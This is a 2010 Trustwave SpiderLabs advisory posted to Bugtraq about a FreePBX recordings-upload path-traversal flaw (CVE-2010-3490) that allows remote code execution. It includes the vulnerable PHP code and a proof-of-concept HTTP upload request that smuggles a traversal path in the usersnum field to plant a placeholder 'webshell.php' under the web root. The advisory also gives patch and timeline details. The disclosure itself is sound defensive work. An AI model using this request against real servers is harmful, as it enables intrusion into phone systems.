Message-ID: <C8C14429.7162%trustwaveadvisories@trustwave.com>
Date: Thu, 23 Sep 2010 17:51:37 -0400
From: Trustwave Advisories <trustwaveadvisories@...stwave.com>
To: <bugtraq@...urityfocus.com>
Subject: TWSL2010-005: FreePBX recordings interface allows remote code
 execution

Trustwave's SpiderLabs Security Advisory TWSL2010-005:
FreePBX recordings interface allows remote code execution

https://www.trustwave.com/spiderlabs/advisories/TWSL2010-005.txt

Published: 2010-09-23
Version: 1.0

Vendor: FreePBX (http://www.freepbx.org/)
Product: FreePBX and VOIP solutions (AsteriskNOW, TrixBox, etc) using it
Version(s) affected: 2.8.0 and below

Product Description:
FreePBX is an easy to use GUI (graphical user interface) that controls and
manages Asterisk, the world's most popular open source telephony engine
software. FreePBX has been developed and hardened by thousands of
volunteers,has been downloaded over 5,000,000 times, and is utilized in an
estimated 500,000 active phone systems.

Source: http://www.freepbx.org
Credit: Wendel G. Henrique of Trustwave's SpiderLabs

CVE: CVE-2010-3490

Finding:
The configuration interface for FreePBX is prone to a remote arbitrary code
execution on the system recordings menu. FreePBX doesn't handle file uploads
in a secure manner, allowing an attacker to manipulate the file extension
and the beginning of the uploaded file name.

The piece of code below, found in page.recordings.php, illustrates part of
the recordings upload feature.

/* Code removed to fit better on advisory */

<?php
  if (isset($_FILES['ivrfile']['tmp_name']) &&
  is_uploaded_file($_FILES['ivrfile']['tmp_name'])) {
    if (empty($usersnum)) {
      $dest = "unnumbered-";
    } else {
      $dest = "{$usersnum}-";
    }
    $suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1);
    $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
    move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);
    echo "<h6>"._("Successfully uploaded")."
      ".$_FILES['ivrfile']['name']."</h6>";
    $rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.');
  } ?>

/* Code removed to fit better on advisory */

When a file is uploaded, a copy is saved temporarily under the /tmp/
directory, where the name of the file is composed of
user-controlled-staticname.extension, where:

"user-controlled" is $usersnum variable.
"staticname" value is -ivrrecording.
"extension" is controlled by the user.

If $usersnum variable is not defined, then a static string (unnumbered)
is used.

Finally, when the user clicks on the save button on the System Recordings
interface, the file is saved with the original file name provided by the
user under the /var/lib/asterisk/sounds/custom/ directory.

When uploading a file, an attacker can manipulate the $usersnum variable to
perform a path traversal attack and save it anyplace that the web server
user has access, for example the Apache's DocumentRoot. This allows an
attacker to upload malicious code to the web server and execute it under the
webserver's access permissions.

The HTTP request below illustrates the upload of a phpshell.

POST /admin/config.php HTTP/1.1
Host: 10.10.1.3
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://10.10.1.3/admin/config.php
Cookie: ARI=cookieValue; PHPSESSID=cookieValue
Authorization: Basic base64auth
Content-Type: multipart/form-data;
boundary=---------------------------5991806838789183981588991120
Content-Length: 116089

-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="display"

recordings
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="action"

recordings_start
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="usersnum"

../../../../../var/www/html/admin/SpiderLabs
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="ivrfile"; filename="webshell.php"
Content-Type: application/octet-stream

<?php
/* WebShell code goes here */
?>

-----------------------------5991806838789183981588991120--

To access the webshell in this example, an attacker would use
the following path: http://10.10.1.3/admin/SpiderLabs-ivrrecording.php

Maintainer Response:
The maintainer has released a patch to address this issue for all versions
of the software 2.3 and newer.

Details of the patch can be found here:
http://www.freepbx.org/trac/ticket/4553

Remediation Steps: 
Install the maintainer-provided patch.

Vendor Communication Timeline:
08/13/10 - Initial contact
08/18/10 - Vulnerability disclosed
09/16/10 - Initial fix proposed by maintainer
09/22/10 - Fix reviewed, improved, and released by maintainer
09/23/10 - Advisory public release

Revision History: 
1.0 Initial publication

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs is the advance security team at Trustwave responsible for
incident response and forensics, ethical hacking and application security
tests for Trustwave's clients. SpiderLabs has responded to hundreds of
security incidents, performed thousands of ethical hacking exercises and
tested the security of hundreds of business applications for Fortune 500
organizations. For more information visit
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.

Powered by blists - more mailing lists